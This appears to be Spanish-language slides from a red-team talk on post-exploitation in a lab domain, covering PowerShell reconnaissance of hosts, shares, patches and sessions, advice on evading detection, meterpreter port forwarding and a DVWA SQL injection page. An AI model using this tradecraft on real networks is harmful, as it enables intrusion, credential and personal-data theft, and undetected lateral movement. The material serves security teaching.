

Searching for the crown jewels



¿En que puntos estamos?

- Hemos escalado privilegios como administrador local



¿Que buscamos?

- Lo primero, reconocer nuestro ambiente de trabajo :), donde nos encontramos (sub red, rutas, listas de acceso, servicios donde se almacenen archivos, diagramas o base de datos).
- Luego de localizar estos elementos(archivos) saber como tener una lista de su ubicación, permisos y a traves de ellos encontrar palabras claves y/saber como saber parsear para obtener estos datos,
- Credenciales de dominio, dispositivos de comunicación o perimetral, cualquier credencial es útil, sin importar para que sea =).
- Diagramas de red, arquitectura tecnológica, esquema institucional etc, otros elementos utiles
- Versiones de SO, servicios habilitados y sus versiones, parches etc.
- Horarios de establecimiento de sesiones remotas, fecha de modificación de archivos etc
- Datos personales como: nombres, documento de identidad, números privados telefónicos, cargo en la empresa, anexos, fecha de ingreso a la empresa, horarios de ingreso y salida.
- En este punto se confirma algunos puntos que se obtuvo por OSINT.



¿TTD y TTM?

- Mientras menos herramientas conocidas usemos, tendremos mas tiempo para no ser detectados y para no ser mitagados.
- Entonces simplemente basemos en lo que ya windows nos ofrece, powershell



Reconociendo ambiente

```
Windows PowerShell
PS C:\Users\luis> 1..20 | % {echo "192.168.99.$_"; ping -n 1 -w 100 192.168.99.$_ | Select-String ttl }
192.168.99.1
Respuesta desde 192.168.99.1: bytes=32 tiempo<1m TTL=255
192.168.99.2
Respuesta desde 192.168.99.2: bytes=32 tiempo<1m TTL=64
192.168.99.3
Respuesta desde 192.168.99.3: bytes=32 tiempo<1m TTL=255
192.168.99.4
Respuesta desde 192.168.99.4: bytes=32 tiempo<1m TTL=128
192.168.99.5
Respuesta desde 192.168.99.5: bytes=32 tiempo<1m TTL=128
192.168.99.6
192.168.99.7
Respuesta desde 192.168.99.7: bytes=32 tiempo<1m TTL=64
192.168.99.8
192.168.99.9
192.168.99.10
192.168.99.11
192.168.99.12
192.168.99.13
192.168.99.14
192.168.99.15
192.168.99.16
192.168.99.17
192.168.99.18
```

Y en SMB, que analizar?

```
Administrator: Windows PowerShell
PS C:\Windows\system32> Get-SmbConnection
ServerName ShareName UserName Credential Dialect NumOpens
-----
w10o-acme Users ACME\luis ACME.HACK\luis 3.1.1 4
W7-ACME Users ACME\luis ACME.HACK\luis 2.1 2

PS C:\Windows\system32> Get-SmbConnection -ServerName w10o-acme | Select-Object -Property *

SmbInstance : Default
ContinuouslyAvailable : False
Credential : ACME.HACK\luis
Dialect : 3.1.1
Encrypted : False
NumOpens : 4
Redirected : False
ServerName : w10o-acme
ShareName : Users
Signed : False
UserName : ACME\luis
PSComputerName :
CimClass : ROOT/Microsoft/Windows/SMB:MSFT_SmbConnection
CimInstanceProperties : {ContinuouslyAvailable, Credential, Dialect, Encrypted...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties

PS C:\Windows\system32> Get-SmbConnection -ServerName W7-ACME | Select-Object -Property *

SmbInstance : Default
ContinuouslyAvailable : False
Credential : ACME.HACK\luis
Dialect : 2.1
Encrypted : False
NumOpens : 2
Redirected : False
ServerName : W7-ACME
ShareName : Users
Signed : False
UserName : ACME\luis
PSComputerName :
CimClass : ROOT/Microsoft/Windows/SMB:MSFT_SmbConnection
CimInstanceProperties : {ContinuouslyAvailable, Credential, Dialect, Encrypted...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties
```



Archivos compartidos

```
PS C:\Windows\system32> Get-WmiObject -Class win32_share -ComputerName W2K12-ACME-AD2-SQL
```

Name	Path	Description
ADMIN\$	C:\Windows	Remote A...
C\$	C:\	Default ...
compartido-w2k12-server2 - 1 user	C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2 - 1 user	
compartido-w2k12-server2 - lectura)	C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2 - lectura)	
compartido-w2k12-server2	C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2	
IPC\$		Remote IPC
NETLOGON	C:\Windows\SYSTEM32\sysvol\acme.hack\SCRIPTS	Logon se...
SYSTEM	C:\Windows\SYSTEM32\sysvol	Logon se...
Users	C:\Users	

```
PS C:\Windows\system32> net view \\W2K12-ACME-AD2-SQL
```

Shared resources at \\W2K12-ACME-AD2-SQL

Share name	Type	Used as	Comment
compartido-w2k12-server2	Disk		
compartido-w2k12-server2 - 1 user	Disk		
compartido-w2k12-server2 - lectura)	Disk		
NETLOGON	Disk		Logon server share
SYSTEM	Disk		Logon server share
Users	Disk		

The command completed successfully.

```
PS C:\Windows\system32>
```



Parches, versiones, sistemas operativos

```
PS C:\Windows\system32> (Get-WmiObject Win32_operatingsystem -ComputerName w2k16-acme-ad1).name
Microsoft Windows Server 2016 Datacenter Evaluation|C:\Windows|\Device\Harddisk0\Partition2
PS C:\Windows\system32> (Get-WmiObject Win32_operatingsystem -ComputerName w2k16-acme-ad1).osarchitecture
64-bit
PS C:\Windows\system32>
```

```
PS C:\Windows\system32> Get-WmiObject -class win32_quickfixengineering -ComputerName w2k16-acme-ad1
```

Source	Description	HotFixID	InstalledBy	InstalledOn
W2K16-ACME...	Update	KB3192137		12/09/2016 00:00:00
W2K16-ACME...	Update	KB3211320		07/01/2017 00:00:00
W2K16-ACME...	Security Update	KB3213986		07/01/2017 00:00:00

```
PS C:\Windows\system32>
```



Logs, sesiones

```
PS C:\Windows\system32> qwinsta /server:w2k12-acme-ad2-sql
```

SESSIONNAME	USERNAME	ID	STATE	TYPE	DEVICE
services		0	Disc		
rdp-tcp#1	administrator	1	Active		
console		3	Conn		
rdp-tcp		65536	Listen		

```
PS C:\Windows\system32> .\quser.exe
```

USERNAME	SESSIONNAME	ID	STATE	IDLE TIME	LOGON TIME
at>luis	console	1	Active	none	15/09/2019 10:55

```
PS C:\Windows\system32> .\quser.exe /server:w2k12-acme-ad2-sql
```

USERNAME	SESSIONNAME	ID	STATE	IDLE TIME	LOGON TIME
administrator	rdp-tcp#1	1	Active	.	15/09/2019 21:32

```
PS C:\Windows\system32> .\quser.exe /server:w2k12-acme-ad2-sql
```

Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. Todos los derechos reservados.

```
PS C:\Windows\system32> Get-WSManInstance -ComputerName w2k16-acme-ad1 -ResourceURI shell -Enumerate
```

```
rsp      : http://schemas.microsoft.com/wbem/wsmn/1/windows/shell
lang     : es-PE
ShellId  : E5E5548B-7537-4C05-8F70-882D69A61DAC
Name     : Session1
ResourceUri : http://schemas.microsoft.com/powershell/Microsoft.PowerShell
Owner    : ACME\Administrator
ClientIP  : 192.168.99.4
ProcessId : 4680
IdleTimeOut : PT7200.000S
InputStreams : stdin pr
OutputStreams : stdout
MaxIdleTimeOut : PT2147483.647S
Locale    : es-PE
DataLocale : es-PE
```



Getting a jewel from internal web applications

- No todo se base del entorno microsoft, podemos encontrar servicios como:
 - FTP, NFC, SFTP, Aplicaciones web, etc todo aquello se componga por una base datos o que sirva para guardar datos =).
 - En una aplicación web interna, desde un XSS para realizar ingeniera social hasta algo mas ruidoso como SQLi etc, en busca de mas credenciales a través de la base de datos por la cual se compone.
 - ¿y los web services? ¿el API? ¿Que se puede obtener?
- Lo normal, es que la mayoría de elementos que te proveen seguridad perimetral siempre estén sobre los elementos expuestos a internet y si es para el lado interno, las configuraciones del WAF , IPS estén en modo “monitoring” o lo peor en modo “learning” y si existe un SIEM, solo sera complicado si algún “atacante” previamente le propuso “nuevas aventuras” a sus firmas =).



Exponiendo servicios

- IP atacante = 192.168.0.109
- IP de objetivo a pivotear = 192.168.99.7:80, 192.168.99.5:445
- IP equip comprometido = 192.168.99.

```
meterpreter > portfwd add -L 0.0.0.0 -l 8080 -r 192.168.99.7 -p 80
[*] Local TCP relay created: 0.0.0.0:8080 <-> 192.168.99.7:80
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:
  -L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
  -R       Indicates a reverse port forward.
  -h       Help banner.
  -i <opt> Index of the port forward entry to interact with (see the "list" command).
  -l <opt> Forward: local port to listen on. Reverse: local port to connect to.
  -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
  -r <opt> Forward: remote host to connect to.

meterpreter > portfwd list

Active Port Forwards
=====
```

Index	Local	Remote	Direction
1	0.0.0.0:8080	192.168.99.7:80	Forward

```
1 total active port forwards.

meterpreter >
```



Exponiendo servicios

Dashboard Target Proxy Intruder

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status	Length
1	http://192.168.0.109:8080	GET	/dwa/login.php			200	1599
2	http://192.168.0.109:8080	POST	/dwa/login.php	✓		302	354
3	http://192.168.0.109:8080	GET	/dwa/index.php			200	4895
4	http://detectportal.firefox.com	GET	/success.txt			200	379
6	http://192.168.0.109:8080	GET	/dwa/dwa/js/dwaPage.js			200	1049
9	http://192.168.0.109:8080	GET	/dwa/vulnerabilities/sqli/			200	4646
10	http://192.168.0.109:8080	GET	/dwa/vulnerabilities/sqli/?id=1&Sub...	✓		200	4701

Request Response

Raw Params Headers Hex

```
GET /dwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.0.109:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.109:8080/dwa/vulnerabilities/sqli/
Cookie: security=high; PHPSESSID=0e850da513706e8407311d855d72b4cd
Connection: close
Upgrade-Insecure-Requests: 1
```

Applications Places Firefox ESR Mon 13:16

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Restore Session x Metasploitable2 - Linux x Damn Vulnerable W x Preferences x +

192.168.0.109:8080/dwa/vulnerabilities/sqli/?id=

Most Visited Getting Started Kali Linux Kali Training Kali Tools Kali Docs Kali Forums >>

DVWA

Home Instructions Setup Brute Force Command Execution CSRF File Inclusion **SQL Injection** SQL Injection (Blind) Upload XSS reflected XSS stored

Vulnerability: SQL Injection

User ID:

Submit

ID: 1
First name: admin
Surname: admin

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

